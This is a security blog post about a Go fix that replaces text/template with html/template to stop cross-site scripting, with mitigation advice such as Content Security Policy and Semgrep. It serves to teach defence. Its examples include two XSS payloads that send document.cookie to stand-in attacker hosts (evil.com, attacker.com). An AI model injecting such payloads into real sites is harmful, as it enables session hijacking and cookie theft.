Back to Blog
low SEVERITY6 min read

From text/template to html/template: Closing the XSS Door in Go

A cross-site scripting (XSS) vulnerability was discovered and patched in a Go-based application where the `text/template` package was being used instead of the safer `html/template` package for rendering HTML content. This single-line fix — swapping one import — prevents user-controlled data from being injected as raw HTML, closing a potential attack vector for malicious script injection. While rated low severity, XSS vulnerabilities are among the most common and exploitable web security issues,

O
By orbisai0security
May 28, 2026

From text/template to html/template: Closing the XSS Door in Go

Introduction

Cross-site scripting (XSS) is one of those vulnerabilities that developers often underestimate — until it's too late. It consistently ranks in the OWASP Top 10 and is responsible for countless data breaches, session hijackings, and malware distributions every year. The good news? In Go, preventing a whole class of XSS vulnerabilities can be as simple as changing a single import.

This post walks through a recent security fix where swapping text/template for html/template in a Go application closed a potential XSS vulnerability. We'll explain what went wrong, how it was fixed, and what you can do to prevent similar issues in your own codebase.


What Is This Vulnerability?

At its core, this vulnerability falls under the category of unsafe template rendering — specifically, using a template engine that does not automatically escape HTML output when rendering user-controlled data.

In Go, the standard library ships with two template packages:

Package Purpose Auto-escapes HTML?
text/template General-purpose text rendering ❌ No
html/template HTML document rendering ✅ Yes

The difference seems subtle, but it's critically important. When you render user-supplied input using text/template, that data is inserted as-is into the output. If a user submits something like:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

...and your template renders it without escaping, that script tag ends up in the HTML response — and the browser happily executes it.


The Vulnerability Explained

Technical Details

The vulnerability was flagged in internal/llminternal/agent_transfer.go, where the code imported text/template to generate HTML output. Here's the problematic import:

// ❌ BEFORE — Unsafe: no automatic HTML escaping
import (
    "bytes"
    "fmt"
    "slices"
    "text/template"  // Does NOT escape HTML characters

    "google.golang.org/adk/agent"
    "google.golang.org/adk/internal/agent/parentmap"
)

When text/template renders a template, it treats all data as plain text — meaning special HTML characters like <, >, ", ', and & are passed through unchanged. If any of that data originates from user input (directly or indirectly), an attacker can craft input that breaks out of the intended text context and injects executable HTML or JavaScript.

How Could It Be Exploited?

Imagine a template like this:

tmpl := template.Must(template.New("response").Parse(`
    <div class="agent-response">
        <p>{{.UserInput}}</p>
    </div>
`))

With text/template, if UserInput contains:

Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">

The output HTML would be:

<div class="agent-response">
    <p>Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))"></p>
</div>

The browser renders the broken image, triggers the onerror handler, and silently exfiltrates the user's cookies to an attacker-controlled server. The user sees nothing unusual.

Real-World Impact

Even though this vulnerability was rated low severity (likely due to the specific context and limited attack surface), XSS attacks can lead to:

  • 🍪 Session hijacking — stealing authentication cookies to impersonate users
  • 🔑 Credential theft — injecting fake login forms to capture passwords
  • 🦠 Malware distribution — redirecting users to exploit kits
  • 🕵️ Keylogging — capturing everything a user types on the page
  • 🎭 Defacement — altering the visible content of a page

In an LLM/agent context (as suggested by the file path llminternal/agent_transfer.go), XSS could be particularly dangerous if AI-generated responses or external data sources are rendered in a web UI without proper sanitization.


The Fix

The fix was elegantly simple — a one-line change:

// ✅ AFTER — Safe: automatic context-aware HTML escaping
import (
    "bytes"
    "fmt"
    "slices"
    "html/template"  // Automatically escapes HTML, CSS, JS, and URL contexts

    "google.golang.org/adk/agent"
    "google.golang.org/adk/internal/agent/parentmap"
)

How Does html/template Solve the Problem?

The html/template package is a context-aware template engine. It understands the structure of HTML documents and automatically applies the correct escaping based on where the data is being inserted:

Context Example Escaping Applied
HTML element content <p>{{.Data}}</p> HTML entity encoding
HTML attribute <a href="{{.URL}}"> URL + HTML encoding
JavaScript string <script>var x = "{{.Val}}"</script> JS string escaping
CSS value <style>color: {{.Color}}</style> CSS escaping
URL parameter <a href="/path?q={{.Query}}"> URL encoding

With html/template, our malicious input from earlier would be rendered as:

<div class="agent-response">
    <p>Hello! &lt;img src=x onerror=&quot;fetch(&#39;https://attacker.com/exfil?data=&#39;+btoa(document.cookie))&quot;&gt;</p>
</div>

The browser displays the text literally — <img src=x onerror=...> — instead of interpreting it as HTML. Attack neutralized. ✅

The html/template API Is a Drop-In Replacement

One of the best things about this fix is that html/template is API-compatible with text/template. In most cases, you only need to change the import — no other code modifications required. The same template.New(), template.Must(), template.ParseFiles(), and tmpl.Execute() calls work identically.


Prevention & Best Practices

1. Always Use html/template for HTML Output in Go

This is the golden rule. If your template output will ever be rendered in a browser, use html/template. Reserve text/template for non-HTML outputs like configuration files, email plain text, or code generation.

// ✅ For HTML output
import "html/template"

// ✅ For non-HTML output (configs, plain text, etc.)
import "text/template"

2. Never Trust User Input

Treat all external data as potentially malicious — this includes:
- Form submissions
- URL parameters and query strings
- HTTP headers
- Data from external APIs or LLMs
- Data read from databases (it may have been stored unsanitized)

3. Use template.HTML Sparingly and Carefully

html/template provides an escape hatch: the template.HTML type, which marks a string as safe HTML and bypasses escaping. Never use this with user-controlled data.

// ❌ DANGEROUS — bypasses all escaping
safeHTML := template.HTML(userInput)

// ✅ OK — only for truly trusted, hardcoded HTML
safeHTML := template.HTML("<strong>Static trusted content</strong>")

4. Implement a Content Security Policy (CSP)

Even with proper escaping, add a Content Security Policy header as a defense-in-depth measure:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

CSP tells the browser to only execute scripts from trusted sources, significantly reducing the impact of any XSS that slips through.

5. Use Static Analysis Tools

Automated tools can catch these issues before they reach production:

  • Semgrep — The tool that caught this exact vulnerability (rule: import-text-template). Run it in CI/CD pipelines.
  • gosec — Go-specific security scanner
  • staticcheck — General Go static analysis
  • govulncheck — Official Go vulnerability scanner

Add a Semgrep rule to your CI pipeline to catch text/template usage in HTML-rendering code:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: returntocorp/semgrep-action@v1
  with:
    config: >-
      p/golang
      p/owasp-top-ten

6. Security Standards & References


Conclusion

This fix is a perfect example of how a single line of code can make or break your application's security. Swapping text/template for html/template costs nothing in terms of functionality or performance, but it buys you automatic, context-aware protection against an entire class of XSS vulnerabilities.

Key takeaways:

  • Always use html/template when generating HTML output in Go
  • Never trust user input — treat all external data as potentially malicious
  • Use static analysis tools like Semgrep and gosec in your CI/CD pipeline to catch these issues automatically
  • Layer your defenses — combine proper escaping with Content Security Policy headers
  • Small fixes matter — even "low severity" vulnerabilities deserve attention before they're chained with other issues

Security isn't always about complex exploits and zero-days. Sometimes, the most impactful improvements come from understanding your tools, using the right library for the job, and building automated checks that catch these mistakes before they ship.

Stay secure, and keep shipping safe code. 🔐

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #249

Related Articles

low

When innerHTML Meets User Data: Fixing XSS Vulnerabilities in JavaScript

A low-severity Cross-Site Scripting (XSS) vulnerability was identified in `agent_chat.js`, where user-controlled data was being passed directly into DOM manipulation methods like `innerHTML`. While rated low severity, XSS vulnerabilities can be chained with other attacks to steal session tokens, redirect users, or execute arbitrary scripts in a victim's browser. The fix eliminates the unsafe pattern by replacing direct HTML injection with safer DOM manipulation techniques.

medium

Wildcard PostMessage Leak: How One Character Exposed User Sessions

A critical security flaw in a browser extension's authentication flow was sending sensitive session tokens and user data to any website using the wildcard "*" origin in postMessage. This vulnerability could have allowed malicious sites to intercept authentication credentials, but was fixed by restricting message delivery to the application's own origin.

critical

Fixing Session Hijacking: From Insecure Query Parameters to Secure Sessions

A critical session management vulnerability was recently patched in our application that allowed attackers to hijack user sessions by simply manipulating URL parameters. The fix addresses both client-side XSS vulnerabilities through unsafe DOM manipulation and server-side session validation issues, demonstrating how multiple security layers work together to protect user accounts.

low

SQL Injection via String Formatting: How Parameterized Queries Save the Day

A database query in DBeaver's Altibase extension was constructing SQL statements using `String.format()` with user-controlled input, creating a classic SQL injection vulnerability. The fix replaces the unsafe string interpolation with parameterized queries using `PreparedStatement`, ensuring user input is always treated as data rather than executable SQL. This type of vulnerability is deceptively simple to introduce but equally simple to fix once you know what to look for.